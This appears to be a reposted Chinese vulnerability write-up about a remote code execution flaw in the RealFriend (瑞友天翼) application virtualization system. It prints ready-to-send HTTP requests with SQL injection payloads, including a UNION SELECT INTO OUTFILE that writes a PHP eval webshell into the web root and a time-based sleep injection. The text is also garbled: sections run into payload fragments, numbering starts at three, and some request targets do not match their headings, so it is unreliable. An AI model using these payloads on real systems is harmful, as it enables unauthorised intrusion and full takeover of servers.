漏洞简介
微步在线漏洞团队通过“X漏洞奖励计划”获取到瑞友天翼应用虚拟化系统远程代码执行漏洞情报(0day),攻击者可以通过该漏洞执行任意代码,导致系统被攻击与控制。瑞友天翼应用虚拟化系统是基于服务器计算架构的应用虚拟化平台,它将用户各种应用软件集中部署到瑞友天翼服务集群,客户端通过WEB即可访问经服务器上授权的应用软件,实现集中应用、远程接入、协同办公等。
漏洞是因为未授权接口在接收参数时没有进行处理校验,存在 SQL 注入漏洞,又因为集成环境中的 mysql 拥有写入文件的权限,所以写入 webshell 最终导致代码执行。
影响版本
5.x ' into outfile 'C:/Program Files (x86)/RealFriend/Rap Server/WebRoot/ConsoleExternalUploadApi.php'#[/code]
注入三ConsoleExternalUploadApi.XGIuploadAuthorizeKeyFile
- show global variables like '%secure%';
复制代码
注入四ConsoleExternalApi.XGIcreateUser
之后的漏洞大抵上都可以描述为同一个漏洞,只是因为参数的不同,传入到不同的位置,在这里仅仅用一个来举例,之后的不再详细进行分析
我们从 ConsoleExternalApi.XGI 进行分析
通过 REQUEST 方法获取到参数
通过接下来的这段代码,我们可以得到如下结论,当 $key 的值为 inner 时,$keyVal 是一个固定值,$sign 的值是 md5($initparams . $keyVal); $initparams 中需要包含 __ 来分割数据,得到每个参数
然后再通过 _ 分割 得到每个参数所对应的值 也就是当传入的值是 a_1__b_2 最后得到的也就是 a=1&b=2
继续向下分析
当传入的 cmd 的值是 createUser 时,进入相对应的分支,构造相对应的语句就可以实现注入。- POST /index.php?s=/Index/dologin/name HTTP/1.1
- Host: 192.168.222.148
- Upgrade-Insecure-Requests: 1
- User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/85.0.4183.83 Safari/537.36
- Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
- Accept-Encoding: gzip, deflate
- Accept-Language: zh-CN,zh;q=0.9
- Connection: close
- Content-Type: application/x-www-form-urlencoded
- Content-Length: 221
-
- name=1')+union+select+1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30,31, '<?php eval($_REQUEST["cmd"]);?>' into outfile 'C:/Program Files (x86)/RealFriend/Rap Server/WebRoot/dologin.php'#
复制代码
注入五 ConsoleExternalApi.XGIgetUserDetailByAccount
- POST /ConsoleExternalUploadApi.XGI HTTP/1.1
- Host: 192.168.222.148
- Upgrade-Insecure-Requests: 1
- User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/85.0.4183.83 Safari/537.36
- Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
- Accept-Encoding: gzip, deflate
- Accept-Language: zh-CN,zh;q=0.9
- Connection: close
- Content-Length: 46
- Content-Type: application/x-www-form-urlencoded
-
- initParams=1&sign=2&key=FarmName'and sleep(5)#
复制代码 
更多靶场实验练习、网安学习资料,请点击这里>>
免责声明:如果侵犯了您的权益,请联系站长,我们会及时删除侵权内容,谢谢合作! |